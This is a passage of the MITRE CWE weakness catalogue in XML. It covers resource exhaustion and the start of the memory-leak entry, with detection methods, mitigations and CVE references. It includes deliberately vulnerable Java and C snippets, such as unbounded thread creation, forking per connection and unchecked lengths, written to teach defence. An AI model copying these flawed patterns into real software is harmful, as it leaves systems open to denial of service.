					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>858</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 13 - Serialization (SER)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Database queries that take a long time to process are good DoS targets. An
						attacker would have to write a few lines of Perl code to generate enough
						traffic to exceed the site's ability to keep up. This would effectively
						prevent authorized users from using the site at all. Resources can be
						exploited simply by ensuring that the target machine must do much more work
						and consume more resources in order to service a request than the attacker
						must do to initiate a request. </Text>
				        </Note>
				        <Note>
					          <Text>A prime example of this can be found in old switches that were vulnerable
						to "macof" attacks (so named for a tool developed by Dugsong). These attacks
						flooded a switch with random IP and MAC address combinations, therefore
						exhausting the switch's cache, which held the information of which port
						corresponded to which MAC addresses. Once this cache was exhausted, the
						switch would fail in an insecure way and would begin to act simply as a hub,
						broadcasting all traffic on all ports and allowing for basic sniffing
						attacks.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The most common result of resource exhaustion is denial of service.
							The software may slow down, crash due to unhandled errors, or lock out
							legitimate users.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases it may be possible to force the software to "fail open"
							in the event of resource exhaustion. The state of the software -- and
							possibly the security functionality - may then be compromised.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis typically has limited utility in recognizing
							resource exhaustion problems, except for program-independent system
							resources such as files, sockets, and processes. For system resources,
							automated static analysis may be able to detect circumstances in which
							resources are not released after they have expired. Automated analysis
							of configuration files may be able to detect settings that do not
							specify a maximum value.</Text>
						            <Text>Automated static analysis tools will not be appropriate for detecting
							exhaustion of custom resources, such as an intended security policy in
							which a bulletin board user is only allowed to make a limited number of
							posts per day.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Limited</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Certain automated dynamic analysis techniques may be effective in
							spotting resource exhaustion problems, especially with resources such as
							processes, memory, and connections. The technique may involve generating
							a large number of requests to the software within a short time
							frame.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Fuzzing</Method_Name>
					          <Method_Description>
						            <Text>While fuzzing is typically geared toward finding low-level
							implementation bugs, it can inadvertently find resource exhaustion
							problems. This can occur when the fuzzer generates a large number of
							test cases but does not restart the targeted software in between test
							cases. If an individual test case produces a crash, but it does not do
							so reliably, then an inability to handle resource exhaustion may be the
							cause.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Opportunistic</Method_Effectiveness>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Design throttling mechanisms into the system architecture. The best
							protection is to limit the amount of resources that an unauthorized user
							can cause to be expended. A strong authentication and access control
							model will help prevent such attacks from occurring in the first place.
							The login application should be protected against DoS attacks as much as
							possible. Limiting the database access, perhaps by caching result sets,
							can help minimize the resources expended. To further limit the potential
							for a DoS attack, consider tracking the rate of requests received from
							users and blocking requests that exceed a defined rate threshold.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Mitigation of resource exhaustion attacks requires that the target
							system either: </Text>
						            <Block Block_Nature="List">
							              <Text>recognizes the attack and denies that user further access for a
								given amount of time, or</Text>
							              <Text>uniformly throttles all requests in order to make it more
								difficult to consume resources more quickly than they can again be
								freed. </Text>
						            </Block>
						            <Text>The first of these solutions is an issue in itself though, since it
							may allow attackers to prevent the use of the system by a particular
							valid user. If the attacker impersonates the valid user, he may be able
							to prevent the user from accessing the server in question. </Text>
						            <Text>The second solution is simply difficult to effectively institute --
							and even when properly done, it does not provide a full solution. It
							simply makes the attack require more resources on the part of the
							attacker. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that protocols have specific limits of scale placed on
							them.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that all failures in resource allocation place the system into
							a safe posture.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>class Worker implements Executor {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>public void execute(Runnable r) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>catch (InterruptedException ie) {</Code>
									                  <Block>
										                    <Comment>// postpone response</Comment>
										                    <Code>Thread.currentThread().interrupt();</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public Worker(Channel ch, int nworkers) {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>protected void activate() {</Code>
								                <Block>
									                  <Code/>
									                  <Code>Runnable loop = new Runnable() {</Code>
									                  <Block>
										                    <Code/>
										                    <Code>public void run() {</Code>
										                    <Block>
											                      <Code/>
											                      <Code>try {</Code>
											                      <Block>
												                        <Code>for (;;) {</Code>
												                        <Block>
												                           <Code>Runnable r = ...;</Code>
												                           <Code>r.run();</Code>
												                        </Block>
												                        <Code>}</Code>
											                      </Block>
											                      <Code>}</Code>
											                      <Code>catch (InterruptedException ie) {</Code>
											                      <Block>
												                        <Code>...</Code>
											                      </Block>
											                      <Code>}</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>};</Code>
									                  <Code>new Thread(loop).start();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>There are no limits to runnables. Potentially an attacker could cause
							resource problems very quickly.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-25">
					          <Intro_Text>This code allocates a socket and forks each time it receives a new
						connection.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Block>
								                <Code>sock=socket(AF_INET, SOCK_STREAM, 0);</Code>
								                <Code>while (1) {</Code>
								                <Block>
									                  <Code>newsock=accept(sock, ...);</Code>
									                  <Code>printf("A connection has been accepted\n");</Code>
									                  <Code>pid = fork();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
						            </Block>
						            <Text>The program does not track how many connections have been made, and it
							does not limit the number of connections. Because forking is a
							relatively expensive operation, an attacker would be able to cause the
							system to run out of CPU, processes, or memory by making a large number
							of connections. Alternatively, an attacker could consume all available
							connections, preventing others from accessing the system
							remotely.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-50">
					          <Intro_Text>In the following example a server socket connection is used to
						accept a request to store data on the local file system using a specified
						filename. The method openSocketConnection establishes a server socket to
						accept requests from a client. When a client establishes a connection to
						this service the getNextMessage method is first used to retrieve from the
						socket the name of the file to store the data, the openFileToWrite method
						will validate the filename and open a file to write to on the local file
						system. The getNextMessage is then used within a while loop to continuously
						read data from the socket and output the data to the file until there is no
						longer any data from the socket.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int writeDataFromSocketToFile(char *host, int port)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code/>
								                <Code>char filename[FILENAME_SIZE];</Code>
								                <Code>char buffer[BUFFER_SIZE];</Code>
								                <Code>int socket = openSocketConnection(host, port);</Code>
								                <Code/>
								                <Code>if (socket &lt; 0) {</Code>
								                <Block>
									                  <Code>printf("Unable to open socket connection");</Code>
									                  <Code>return(FAIL);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>if (getNextMessage(socket, filename, FILENAME_SIZE) &gt; 0)
									{</Code>
								                <Block>
									                  <Code>if (openFileToWrite(filename) &gt; 0) {</Code>
									                  <Block>
										                    <Code>while (getNextMessage(socket, buffer, BUFFER_SIZE)
											&gt; 0){</Code>
										                    <Block>
											                      <Code>if (!(writeToFile(buffer) &gt; 0))</Code>
											                      <Block>
												                        <Code>break;</Code>
											                      </Block>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>closeFile();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>closeSocket(socket);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This example creates a situation where data can be dumped to a file on
							the local file system without any limits on the size of the file. This
							could potentially exhaust file or disk resources and/or limit other
							clients' ability to access the service. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-51">
					          <Intro_Text>In the following example, the processMessage method receives a two
						dimensional character array containing the message to be processed. The
						two-dimensional character array contains the length of the message in the
						first character array and the message body in the second character array.
						The getMessageLength method retrieves the integer value of the length from
						the first character array. After validating that the message length is
						greater than zero, the body character array pointer points to the start of
						the second character array of the two-dimensional character array and memory
						is allocated for the new body character array.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Comment>/* process message accepts a two-dimensional character array of
								the form [length][body] containing the message to be processed
								*/</Comment>
							              <Code>int processMessage(char **message)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>char *body;</Code>
								                <Code/>
								                <Code>int length = getMessageLength(message[0]);</Code>
								                <Code/>
								                <Code>if (length &gt; 0) {</Code>
								                <Block>
									                  <Code>body = &amp;message[1][0];</Code>
									                  <Code>processMessageBody(body);</Code>
									                  <Code>return(SUCCESS);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Unable to process message; invalid message
										length");</Code>
									                  <Code>return(FAIL);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This example creates a situation where the length of the body
							character array can be very large and will consume excessive memory,
							exhausting system resources. This can be avoided by restricting the
							length of the second character array with a maximum length check</Text>
						            <Text>Also, consider changing the type from 'int' to 'unsigned int', so that
							you are always guaranteed that the number is positive. This might not be
							possible if the protocol specifically requires allowing negative values,
							or if you cannot control the return value from getMessageLength(), but
							it could simplify the check to ensure the input is positive, and
							eliminate other errors such as signed-to-unsigned conversion errors
							(CWE-195) that may occur elsewhere in the code. </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>unsigned int length = getMessageLength(message[0]);</Code>
							              <Code>if ((length &gt; 0) &amp;&amp; (length &lt; MAX_LENGTH))
								{...}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-52">
					          <Intro_Text>In the following example, a server object creates a server socket
						and accepts client connections to the socket. For every client connection to
						the socket a separate thread object is generated using the
						ClientSocketThread class that handles request made by the client through the
						socket.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void acceptConnections() {</Code>
							              <Code/>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>ServerSocket serverSocket = new
										ServerSocket(SERVER_PORT);</Code>
									                  <Code>int counter = 0;</Code>
									                  <Code>boolean hasConnections = true;</Code>
									                  <Code>while (hasConnections) {</Code>
									                  <Block>
										                    <Code>Socket client = serverSocket.accept();</Code>
										                    <Code>Thread t = new Thread(new
											ClientSocketThread(client));</Code>
										                    <Code>t.setName(client.getInetAddress().getHostName() + ":"
											+ counter++);</Code>
										                    <Code>t.start();</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>serverSocket.close();</Code>
								                </Block>
								                <Code/>
								                <Code>} catch (IOException ex) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In this example there is no limit to the number of client connections
							and client threads that are created. Allowing an unlimited number of
							client connections and threads could potentially overwhelm the system
							and system resources.</Text>
						            <Text>The server should limit the number of client connections and the
							client threads that are created. This can be easily done by creating a
							thread pool object that limits the number of threads that are
							generated.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public static final int SERVER_PORT = 4444;</Code>
							              <Code>public static final int MAX_CONNECTIONS = 10; </Code>
							              <Code>...</Code>
							              <Code/>
							              <Code>public void acceptConnections() {</Code>
							              <Code/>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>ServerSocket serverSocket = new
										ServerSocket(SERVER_PORT);</Code>
									                  <Code>int counter = 0;</Code>
									                  <Code>boolean hasConnections = true;</Code>
									                  <Code>while (hasConnections) {</Code>
									                  <Block>
										                    <Code>hasConnections = checkForMoreConnections();</Code>
										                    <Code>Socket client = serverSocket.accept();</Code>
										                    <Code>Thread t = new Thread(new
											ClientSocketThread(client));</Code>
										                    <Code>t.setName(client.getInetAddress().getHostName() + ":"
											+ counter++);</Code>
										                    <Code>ExecutorService pool =
											Executors.newFixedThreadPool(MAX_CONNECTIONS);</Code>
										                    <Code>pool.execute(t);</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>serverSocket.close();</Code>
								                </Block>
								                <Code/>
								                <Code>} catch (IOException ex) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2874</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows attackers to cause a crash via a
						large number of connections.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1928</Observed_Example_Reference>
					          <Observed_Example_Description>Malformed request triggers uncontrolled recursion,
						leading to stack exhaustion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2858</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: memory leak (CWE-404) leads to resource
						exhaustion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2726</Observed_Example_Reference>
					          <Observed_Example_Description>Driver does not use a maximum width when invoking
						sscanf style functions, causing stack
						consumption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2540</Observed_Example_Reference>
					          <Observed_Example_Description>Large integer value for a length property in an
						object causes a large amount of memory
						allocation.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2299</Observed_Example_Reference>
					          <Observed_Example_Description>Web application firewall consumes excessive memory
						when an HTTP request contains a large Content-Length value but no POST
						data.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2054</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows exhaustion of file descriptors when
						processing a large number of TCP packets.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5180</Observed_Example_Reference>
					          <Observed_Example_Description>Communication product allows memory consumption
						with a large number of SIP requests, which cause many sessions to be
						created.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2121</Observed_Example_Reference>
					          <Observed_Example_Description>TCP implementation allows attackers to consume CPU
						and prevent new connections using a TCP SYN flood
						attack.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2122</Observed_Example_Reference>
					          <Observed_Example_Description>Port scan triggers CPU consumption with processes
						that attempt to read data from closed
						sockets.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1700</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows attackers to cause a denial of
						service via a large number of directives, each of which opens a separate
						window.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4103</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows resource exhaustion via a large
						number of calls that do not complete a 3-way
						handshake.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-1173</Observed_Example_Reference>
					          <Observed_Example_Description>Mail server does not properly handle deeply nested
						multipart MIME messages, leading to stack exhaustion.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0897</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: anti-virus product encounters a malformed
						file but returns from a function without closing a file descriptor (CWE-775)
						leading to file descriptor consumption (CWE-400) and failed scans.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Joao Antunes</Reference_Author>
					          <Reference_Author>Nuno Ferreira Neves</Reference_Author>
					          <Reference_Author>Paulo Verissimo</Reference_Author>
					          <Reference_Title>Detection and Prediction of Resource-Exhaustion
						Vulnerabilities</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE International Symposium on
						Software Reliability Engineering (ISSRE)</Reference_Publication>
					          <Reference_PubDate>November 2008</Reference_PubDate>
					          <Reference_Link>http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>D.J. Bernstein</Reference_Author>
					          <Reference_Title>Resource exhaustion</Reference_Title>
					          <Reference_Link>http://cr.yp.to/docs/resources.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Pascal Meunier</Reference_Author>
					          <Reference_Title>Resource exhaustion</Reference_Title>
					          <Reference_Publication>Secure Programming Educational
						Material</Reference_Publication>
					          <Reference_PubDate>2004</Reference_PubDate>
					          <Reference_Link>http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 17, "Protecting Against Denial of Service Attacks"
						Page 517</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Resource exhaustion (file descriptor, disk space, sockets,
						...)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Denial of Service </Mapped_Node_Name>
					          <Mapped_Node_ID>10</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>XML Attribute Blowup </Mapped_Node_Name>
					          <Mapped_Node_ID>41</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Avoid memory and resource leaks during
						serialization</Mapped_Node_Name>
					          <Mapped_Node_ID>SER12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not exhaust heap space</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>147</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>197</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>2</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>228</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>82</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes,
						Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Potential_Mitigations,
						References, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Resource
						Exhaustion</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Uncontrolled Resource
						Consumption (aka 'Resource Exhaustion')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="401" Name="Improper Release of Memory Before Removing Last Reference ('Memory Leak')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not sufficiently track and release allocated
					memory after it has been used, which slowly consumes remaining
					memory.</Description_Summary>
